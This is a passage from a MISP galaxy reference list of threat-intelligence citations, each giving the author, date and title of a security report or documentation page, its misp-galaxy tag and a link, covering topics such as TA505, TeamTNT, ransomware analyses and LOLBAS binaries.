https://www.us-cert.gov/ncas/alerts/TA18-086A

Browers FriarFox

Raggi, Michael. Proofpoint Threat Research Team. (2021, February 25). TA413 Leverages New FriarFox Browser Extension to Target the Gmail Accounts of Global Tibetan Organizations. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Browers FriarFox"*

Table 23324. Table References

Links
https://www.proofpoint.com/uk/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global

Proofpoint TA416 November 2020

Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021.

The tag is: *misp-galaxy:references="Proofpoint TA416 November 2020"*

Table 23325. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader

Proofpoint TA422 December 5 2023

Greg Lesnewich, Crista Giering, Proofpoint Threat Research Team. (2023, December 5). TA422's Dedicated Exploitation Loop—the Same Week After Week. Retrieved March 6, 2025.

The tag is: *misp-galaxy:references="Proofpoint TA422 December 5 2023"*

Table 23326. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/ta422s-dedicated-exploitation-loop-same-week-after-week

NCC Group TA505

Terefos, A. (2020, November 18). TA505: A Brief History of Their Time. Retrieved July 14, 2022.

The tag is: *misp-galaxy:references="NCC Group TA505"*

Table 23327. Table References

Links
https://research.nccgroup.com/2020/11/18/ta505-a-brief-history-of-their-time/

ProofPoint SettingContent-ms July 2018

Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.

The tag is: *misp-galaxy:references="ProofPoint SettingContent-ms July 2018"*

Table 23328. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat

IBM TA505 April 2020

Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020.

The tag is: *misp-galaxy:references="IBM TA505 April 2020"*

Table 23329. Table References

Links
https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/

Proofpoint TA505 October 2019

Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020.

The tag is: *misp-galaxy:references="Proofpoint TA505 October 2019"*

Table 23330. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader

Proofpoint TA505 June 2018

Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.

The tag is: *misp-galaxy:references="Proofpoint TA505 June 2018"*

Table 23331. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times

TrendMicro TA505 Aug 2019

Trend Micro. (2019, August 27). TA505: Variety in Use of ServHelper and FlawedAmmyy. Retrieved February 22, 2021.

The tag is: *misp-galaxy:references="TrendMicro TA505 Aug 2019"*

Table 23332. Table References

Links
https://www.trendmicro.com/en_us/research/19/h/ta505-at-it-again-variety-is-the-spice-of-servhelper-and-flawedammyy.html

Proofpoint TA547 April 10 2024

Tommy Madjar, Selena Larson, the Proofpoint Threat Research Team. (2024, April 10). TA547 Targets German Organizations with Rhadamanthys Stealer. Retrieved September 9, 2024.

The tag is: *misp-galaxy:references="Proofpoint TA547 April 10 2024"*

Table 23333. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta547-targets-german-organizations-rhadamanthys-stealer

Unit 42 TA551 Jan 2021

Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021.

The tag is: *misp-galaxy:references="Unit 42 TA551 Jan 2021"*

Table 23334. Table References

Links
https://unit42.paloaltonetworks.com/ta551-shathak-icedid/

Proofpoint February 23 2023

Proofpoint. (2023, February 23). TA569: SocGholish and Beyond | Proofpoint US. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="Proofpoint February 23 2023"*

Table 23335. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/ta569-socgholish-and-beyond

TA571

Axel F, Selena Larson. (2023, October 30). TA571 Delivers IcedID Forked Loader. Retrieved February

13, 2024.

The tag is: *misp-galaxy:references="TA571"*

Table 23336. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta571-delivers-icedid-forked-loader

IBM TA577 OneNote Malspam

IBM X-Force. (2023, May 30). TA577 OneNote Malspam Results in QakBot Deployment. Retrieved January 24, 2024.

The tag is: *misp-galaxy:references="IBM TA577 OneNote Malspam"*

Table 23337. Table References

Links
https://exchange.xforce.ibmcloud.com/threats/guid:7f0659d266174b9a9ba40c618b853782

Proofpoint TA577 NTLM March 4 2024

Tommy Madjar, Kelsey Merriman, Selena Larson, Proofpoint Threat Research Team. (2024, March 4). TA577's Unusual Attack Chain Leads to NTLM Data Theft. Retrieved March 11, 2024.

The tag is: *misp-galaxy:references="Proofpoint TA577 NTLM March 4 2024"*

Table 23338. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/ta577s-unusual-attack-chain-leads-ntlm-data-theft

Cobalt Strike TTPs Dec 2017

Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Cobalt Strike TTPs Dec 2017"*

Table 23339. Table References

Links
https://web.archive.org/web/20210924171429/https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf

Reuters Taiwan BlackTech August 2020

Lee, Y. (2020, August 19). Taiwan says China behind cyberattacks on government agencies, emails. Retrieved April 6, 2022.

The tag is: *misp-galaxy:references="Reuters Taiwan BlackTech August 2020"*

Table 23340. Table References

Links
https://www.reuters.com/article/us-taiwan-cyber-china/taiwan-says-china-behind-cyberattacks-on-government-agencies-emails-idUSKCN25F0JK

Microsoft Process Snapshot

Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.

The tag is: *misp-galaxy:references="Microsoft Process Snapshot"*

Table 23341. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx

Lacework TeamTNT May 2021

Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. Retrieved September 16, 2024.

The tag is: *misp-galaxy:references="Lacework TeamTNT May 2021"*

Table 23342. Table References

Links
https://www.lacework.com/blog/taking-teamtnt-docker-images-offline

Lumen Versa 2024

Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.

The tag is: *misp-galaxy:references="Lumen Versa 2024"*

Table 23343. Table References

Links
https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/

Lumen August 27 2024

Black Lotus Labs. (2024, August 27). Taking the Crossroads The Versa Director Zero-Day Exploitation. Retrieved September 6, 2024.

The tag is: *misp-galaxy:references="Lumen August 27 2024"*

Table 23344. Table References

Links
https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/

Datadog ECS January 19 2024

Martin McCloskey, Christophe Tafani-Dereeper. (2024, January 19). Tales from the cloud trenches: Amazon ECS is the new EC2 for crypto mining. Retrieved April 11, 2024.

The tag is: *misp-galaxy:references="Datadog ECS January 19 2024"*

Table 23345. Table References

Links
https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-ecs-crypto-mining/

McAfee May 1 2020

ATR Operational Intelligence Team. (2020, May 1). Tales From the Trenches; a Lockbit Ransomware Story . Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="McAfee May 1 2020"*

Table 23346. Table References

Links
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/tales-from-the-trenches-a-lockbit-ransomware-story/

Splunk Kovar Certificates 2017

Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.

The tag is: *misp-galaxy:references="Splunk Kovar Certificates 2017"*

Table 23347. Table References

Links
https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html

Dragos TALONITE

Dragos. (null). TALONITE. Retrieved February 25, 2021.

The tag is: *misp-galaxy:references="Dragos TALONITE"*

Table 23348. Table References

Links
https://www.dragos.com/threat/talonite/

Talos IR Trends April 25 2025

Nicole Hoffman. (2025, April 25). Talos IR trends: BEC attacks surge, while weaknesses in MFA persist. Retrieved June 6, 2025.

The tag is: *misp-galaxy:references="Talos IR Trends April 25 2025"*

Table 23349. Table References

Links
https://blog.talosintelligence.com/talos-ir-quarterly-trends-q1-2024/

Talos Sodinokibi April 2019

Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020.

The tag is: *misp-galaxy:references="Talos Sodinokibi April 2019"*

Table 23350. Table References

Links
https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html

Medium Event Tracing Tampering 2018

Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.

The tag is: *misp-galaxy:references="Medium Event Tracing Tampering 2018"*

Table 23351. Table References

Links
https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63

Tar.exe - LOLBAS Project

LOLBAS. (2023, January 30). Tar.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Tar.exe - LOLBAS Project"*

Table 23352. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Tar/

NGLite Trojan

Robert Falcone, Jeff White, and Peter Renals. (2021, November 7). Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer. Retrieved February 8, 2024.

The tag is: *misp-galaxy:references="NGLite Trojan"*

Table 23353. Table References

Links
https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/

Netskope GCP Redirection

Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.

The tag is: *misp-galaxy:references="Netskope GCP Redirection"*

Table 23354. Table References

Links
https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection

AhnLab Andariel Subgroup of Lazarus June 2018

AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group, a subgroup of the Lazarus. Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="AhnLab Andariel Subgroup of Lazarus June 2018"*

Table 23355. Table References

Links
https://web.archive.org/web/20230213154832/http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf

CERT-UA Alert July 5 2023

CERT-UA. (2023, July 5). Targeted attack using the topic of Ukraine's membership in the North Atlantic Treaty Organization. Retrieved February 13, 2025.

The tag is: *misp-galaxy:references="CERT-UA Alert July 5 2023"*

Table 23356. Table References

Links
https://cert.gov.ua/article/5077168

Sood and Enbody

Aditya Sood and Richard Enbody. (2014, December 16). Targeted Cyber Attacks. Retrieved January 4, 2024.

The tag is: *misp-galaxy:references="Sood and Enbody"*

Table 23357. Table References

Links
https://www.techtarget.com/searchsecurity/feature/Targeted-Cyber-Attacks

dharma_ransomware

Loui, E. Scheuerman, K. et al. (2020, April 16). Targeted Dharma Ransomware Intrusions Exhibit Consistent Techniques. Retrieved January 26, 2022.

The tag is: *misp-galaxy:references="dharma_ransomware"*

Table 23358. Table References

Links
https://www.crowdstrike.com/blog/targeted-dharma-ransomware-intrusions-exhibit-consistent-techniques/

Check Point Research September 11 2024

Check Point Research. (2024, September 11). Targeted Iranian Attacks Against Iraqi Government Infrastructure - Check Point Research. Retrieved September 11, 2024.

The tag is: *misp-galaxy:references="Check Point Research September 11 2024"*

Table 23359. Table References

Links
https://research.checkpoint.com/2024/iranian-malware-attacks-iraqi-government/

Targeted SSL Stripping Attacks Are Real

Check Point. (n.d.). Targeted SSL Stripping Attacks Are Real. Retrieved May 24, 2023.

The tag is: *misp-galaxy:references="Targeted SSL Stripping Attacks Are Real"*

Table 23360. Table References

Links
https://blog.checkpoint.com/research/targeted-ssl-stripping-attacks-are-real/amp/

CFR Vaccine Development Threats

Council on Foreign Relations. (2020, November 28). Targeting of companies involved in vaccine development. Retrieved October 30, 2023.

The tag is: *misp-galaxy:references="CFR Vaccine Development Threats"*

Table 23361. Table References

Links
https://www.cfr.org/cyber-operations/targeting-companies-involved-vaccine-development

Tarrask scheduled task

Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.

The tag is: *misp-galaxy:references="Tarrask scheduled task"*

Table 23362. Table References

Links
https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/

Microsoft Tasklist

Microsoft. (n.d.). Tasklist. Retrieved December 23, 2015.

The tag is: *misp-galaxy:references="Microsoft Tasklist"*

Table 23363. Table References

Links
https://technet.microsoft.com/en-us/library/bb491010.aspx

Microsoft Tasks

Microsoft. (2018, May 31). Tasks. Retrieved September 28, 2021.

The tag is: *misp-galaxy:references="Microsoft Tasks"*

Table 23364. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/taskschd/tasks

TechNet Task Scheduler Security

Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.

The tag is: *misp-galaxy:references="TechNet Task Scheduler Security"*

Table 23365. Table References

Links
https://technet.microsoft.com/en-us/library/cc785125.aspx

tau bundlore erika noerenberg 2020

Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021.

The tag is: *misp-galaxy:references="tau bundlore erika noerenberg 2020"*

Table 23366. Table References

Links
https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html

CarbonBlack Conti July 2020

Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021.

The tag is: *misp-galaxy:references="CarbonBlack Conti July 2020"*

Table 23367. Table References

Links
https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/

CarbonBlack LockerGoga 2019

CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019.

The tag is: *misp-galaxy:references="CarbonBlack LockerGoga 2019"*

Table 23368. Table References

Links
https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/

GitHub Turla Driver Loader

TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021.

The tag is: *misp-galaxy:references="GitHub Turla Driver Loader"*

Table 23369. Table References

Links
https://github.com/hfiref0x/TDL

S1 Old Rat New Tricks

Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021.

The tag is: *misp-galaxy:references="S1 Old Rat New Tricks"*

Table 23370. Table References

Links
https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/

Teams.exe - LOLBAS Project

LOLBAS. (2022, January 17). Teams.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Teams.exe - LOLBAS Project"*

Table 23371. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Teams/

TeamTNT Cloud Enumeration

Nathaniel Quist. (2021, June 4). TeamTNT Actively Enumerating Cloud Environments to Infiltrate Organizations. Retrieved February 8, 2022.

The tag is: *misp-galaxy:references="TeamTNT Cloud Enumeration"*

Table 23372. Table References

Links
https://unit42.paloaltonetworks.com/teamtnt-operations-cloud-environments

Intezer TeamTNT Explosion September 2021

Intezer. (2021, September 1). TeamTNT Cryptomining Explosion. Retrieved October 15, 2021.

The tag is: *misp-galaxy:references="Intezer TeamTNT Explosion September 2021"*

Table 23373. Table References

Links
https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf

AquaSec TeamTNT 2023

Ofek Itach and Assaf Morag. (2023, July 13). TeamTNT Reemerged with New Aggressive Cloud Campaign. Retrieved February 15, 2024.

The tag is: *misp-galaxy:references="AquaSec TeamTNT 2023"*

Table 23374. Table References

Links
https://blog.aquasec.com/teamtnt-reemerged-with-new-aggressive-cloud-campaign

Cisco Talos Intelligence Group

Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.

The tag is: *misp-galaxy:references="Cisco Talos Intelligence Group"*

Table 23375. Table References

Links
https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/

Talos TeamTNT

Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved July 8, 2022.

The tag is: *misp-galaxy:references="Talos TeamTNT"*

Table 23376. Table References

Links
https://blog.talosintelligence.com/2022/04/teamtnt-targeting-aws-alibaba.html

Cado Security TeamTNT Worm August 2020

Cado Security. (2020, August 16). Team TNT – The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021.

The tag is: *misp-galaxy:references="Cado Security TeamTNT Worm August 2020"*

Table 23377. Table References

Links
https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/

ATT TeamTNT Chimaera September 2020

AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021.

The tag is: *misp-galaxy:references="ATT TeamTNT Chimaera September 2020"*

Table 23378. Table References

Links
https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera

OSX Coldroot RAT

Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019.

The tag is: *misp-galaxy:references="OSX Coldroot RAT"*

Table 23379. Table References

Links
https://objective-see.com/blog/blog_0x2A.html

Kaspersky ProjectSauron Technical Analysis

Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.

The tag is: *misp-galaxy:references="Kaspersky ProjectSauron Technical Analysis"*

Table 23380. Table References

Links
https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf

McAfee Babuk February 2021

Mundo, A. et al. (2021, February). Technical Analysis of Babuk Ransomware. Retrieved August 11, 2021.

The tag is: *misp-galaxy:references="McAfee Babuk February 2021"*

Table 23381. Table References

Links
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf

Crytox Ransomware

Romain Dumont . (2022, September 21). Technical Analysis of Crytox Ransomware. Retrieved November 22, 2023.

The tag is: *misp-galaxy:references="Crytox Ransomware"*

Table 23382. Table References

Links
https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware

McAfee Cuba April 2021

Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021.

The tag is: *misp-galaxy:references="McAfee Cuba April 2021"*

Table 23383. Table References

Links
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf

McAfee Dianxun March 2021

Roccia, T., Seret, T., Fokker, J. (2021, March 16). Technical Analysis of Operation Dianxun. Retrieved April 13, 2021.

The tag is: *misp-galaxy:references="McAfee Dianxun March 2021"*

Table 23384. Table References

Links
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-dianxun.pdf

Zscaler Pikabot 2023

Brett Stone-Gross & Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved July 12, 2024.

The tag is: *misp-galaxy:references="Zscaler Pikabot 2023"*

Table 23385. Table References

Links
https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot

Zscaler Pikabot May 24 2023

Brett Stone-Gross, Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved January 11, 2024.

The tag is: *misp-galaxy:references="Zscaler Pikabot May 24 2023"*

Table 23386. Table References

Links
https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot

Technical Analysis of PureCrypter | Zscaler Blog

Zscaler. (2022, June 13). Technical Analysis of PureCrypter | Zscaler Blog. Retrieved May 10, 2023.

The tag is: *misp-galaxy:references="Technical Analysis of PureCrypter | Zscaler Blog"*

Table 23387. Table References

Links
https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter

Zscaler Rhadamanthys February 21 2023

Nikolao Pantazopoulos, Sarthak Misraa. (2023, February 21). Technical Analysis of Rhadamanthys Obfuscation Techniques. Retrieved October 14, 2024.

The tag is: *misp-galaxy:references="Zscaler Rhadamanthys February 21 2023"*

Table 23388. Table References

Links
https://www.zscaler.com/blogs/security-research/technical-analysis-rhadamanthys-obfuscation-techniques

Crowdstrike WhisperGate January 2022

Crowdstrike. (2022, January 19). Technical Analysis of the WhisperGate Malicious Bootloader. Retrieved March 10, 2022.

The tag is: *misp-galaxy:references="Crowdstrike WhisperGate January 2022"*

Table 23389. Table References

Links
https://www.crowdstrike.com/blog/technical-analysis-of-whispergate-malware

Zscaler XLoader 2025

Zscaler Threatlabz. (2025, January 27). Technical Analysis of Xloader Versions 6 and 7 | Part 1. Retrieved March 11, 2025.

The tag is: *misp-galaxy:references="Zscaler XLoader 2025"*

Table 23390. Table References

Links
https://www.zscaler.com/blogs/security-research/technical-analysis-xloader-versions-6-and-7-part-1

MITRE-Engenuity May 3 2024

Lex Crumpton. (2024, May 3). Technical Deep Dive Understanding the Anatomy of a Cyber Intrusion. Retrieved May 6, 2024.

The tag is: *misp-galaxy:references="MITRE-Engenuity May 3 2024"*

Table 23391. Table References

Links

https://medium.com/mitre-engenuity/technical-deep-dive-understanding-the-anatomy-of-a-cyber-intrusion-080bddc679f3

Apple TN2459 Kernel Extensions

Apple. (2018, April 19). Technical Note TN2459: User-Approved Kernel Extension Loading. Retrieved June 30, 2020.

The tag is: *misp-galaxy:references="Apple TN2459 Kernel Extensions"*

Table 23392. Table References

Links
https://developer.apple.com/library/archive/technotes/tn2459/_index.html

fb_arid_viper

Flossman, M., Scott, M. (2021, April). Technical Paper // Taking Action Against Arid Viper. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="fb_arid_viper"*

Table 23393. Table References

Links
https://web.archive.org/web/20231126111812/https:/about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf

GovCERT Carbon May 2016

GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.

The tag is: *misp-galaxy:references="GovCERT Carbon May 2016"*

Table 23394. Table References

Links
https://web.archive.org/web/20170718174931/https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf

Palo Alto Office Test Sofacy

Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.

The tag is: *misp-galaxy:references="Palo Alto Office Test Sofacy"*

Table 23395. Table References

Links
https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/

polymorphic-linkedin

Sherwin Akshay. (2024, May 28). Techniques for concealing malware and hindering analysis: Packing up and unpacking stuff. Retrieved September 27, 2024.

The tag is: *misp-galaxy:references="polymorphic-linkedin"*

Table 23396. Table References

Links
https://www.linkedin.com/pulse/techniques-concealing-malware-hindering-analysis-packing-akshay-unijc

te.exe - LOLBAS Project

LOLBAS. (2018, May 25). te.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="te.exe - LOLBAS Project"*

Table 23397. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Te/

ESET Telebots June 2017

Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020.

The tag is: *misp-galaxy:references="ESET Telebots June 2017"*

Table 23398. Table References

Links
https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/

Telegram December 4 2024

Telegram. (2024, December 4). Telegram – a new era of messaging. Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="Telegram December 4 2024"*

Table 23399. Table References

Links
https://telegram.org/

Telegram GhostSec

Telegram. (n.d.). Telegram Contact @GhostSecc. Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="Telegram GhostSec"*

Table 23400. Table References

Links
https://t.me/GhostSecc

SANS Brian Wiltse Template Injection

Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019.

The tag is: *misp-galaxy:references="SANS Brian Wiltse Template Injection"*

Table 23401. Table References

Links
https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780

Amazon AWS Temporary Security Credentials

Amazon. (n.d.). Temporary Security Credentials. Retrieved October 18, 2019.

The tag is: *misp-galaxy:references="Amazon AWS Temporary Security Credentials"*

Table 23402. Table References

Links
https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html

Elastic Process Injection July 2017

Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.

The tag is: *misp-galaxy:references="Elastic Process Injection July 2017"*

Table 23403. Table References

Links
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

AWS Organizations

AWS. (n.d.). Terminology and concepts for AWS Organizations. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="AWS Organizations"*

Table 23404. Table References

Links
https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html

DarkReading Termite Cleo December 10 2024

Jai Vijayan. (2024, December 10). 'Termite' Ransomware Likely Behind Cleo Zero-Day Attacks. Retrieved December 17, 2024.

The tag is: *misp-galaxy:references="DarkReading Termite Cleo December 10 2024"*

Table 23405. Table References

Links
https://www.darkreading.com/cyberattacks-data-breaches/termite-ransomware-behind-cleo-zero-day-attacks

TestWindowRemoteAgent.exe - LOLBAS Project

LOLBAS. (2023, August 21). TestWindowRemoteAgent.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="TestWindowRemoteAgent.exe - LOLBAS Project"*

Table 23406. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Testwindowremoteagent/

Sygnia Elephant Beetle Jan 2022

Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.

The tag is: *misp-galaxy:references="Sygnia Elephant Beetle Jan 2022"*

Table 23407. Table References

Links
https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&hssc=147695848.1.1680005306711&hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d

Cloudflare February 5 2024

Matthew Prince. (2024, February 1). Thanksgiving 2023 security incident. Retrieved February 5, 2024.

The tag is: *misp-galaxy:references="Cloudflare February 5 2024"*

Table 23408. Table References

Links
https://blog.cloudflare.com/thanksgiving-2023-security-incident

F5 Labs June 1 2016

Liron Segal. (2016, June 1). Thanks to Anonymous' Latest Toolset, Anyone Can Play the DDoS Game. Retrieved April 10, 2025.

The tag is: *misp-galaxy:references="F5 Labs June 1 2016"*

Table 23409. Table References

Links
https://www.f5.com/labs/articles/threat-intelligence/thanks-to-anonymous-latest-toolset-anyone-can-play-the-ddos-game-22423

Domain_Steal_CC

Krebs, B. (2018, November 13). That Domain You Forgot to Renew? Yeah, it’s Now Stealing Credit Cards. Retrieved September 20, 2019.

The tag is: *misp-galaxy:references="Domain_Steal_CC"*

Table 23410. Table References

Links

https://krebsonsecurity.com/2018/11/that-domain-you-forgot-to-renew-yeah-its-now-stealing-credit-cards/

Kali Hydra

Kali. (2014, February 18). THC-Hydra. Retrieved November 2, 2017.

The tag is: *misp-galaxy:references="Kali Hydra"*

Table 23411. Table References

Links
https://tools.kali.org/password-attacks/hydra

Adventures of a Keystroke

Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.

The tag is: *misp-galaxy:references="Adventures of a Keystroke"*

Table 23412. Table References

Links
http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf

Sygnia Abyss Locker 2025

Abigail See, Zhongyuan (Aaron) Hau, Ren Jie Yow, Yoav Mazor, Omer Kidron, and Oren Biderman. (2025, February 4). The Anatomy of Abyss Locker Ransomware Attack. Retrieved April 4, 2025.

The tag is: *misp-galaxy:references="Sygnia Abyss Locker 2025"*

Table 23413. Table References

Links
https://www.sygnia.co/blog/abyss-locker-ransomware-attack-analysis/

ThreatConnect Anthem

ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.

The tag is: *misp-galaxy:references="ThreatConnect Anthem"*

Table 23414. Table References

Links

https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/

Talos Cobalt Strike September 2020

Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Talos Cobalt Strike September 2020"*

Table 23415. Table References

Links
https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf

wardle chp2 persistence

Patrick Wardle. (2022, January 1). The Art of Mac Malware Volume 0x1:Analysis. Retrieved April 19, 2022.

The tag is: *misp-galaxy:references="wardle chp2 persistence"*

Table 23416. Table References

Links
https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf

wardle artofmalware volume1

Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.

The tag is: *misp-galaxy:references="wardle artofmalware volume1"*

Table 23417. Table References

Links
https://taomm.org/vol1/pdfs.html

ArtOfMemoryForensics

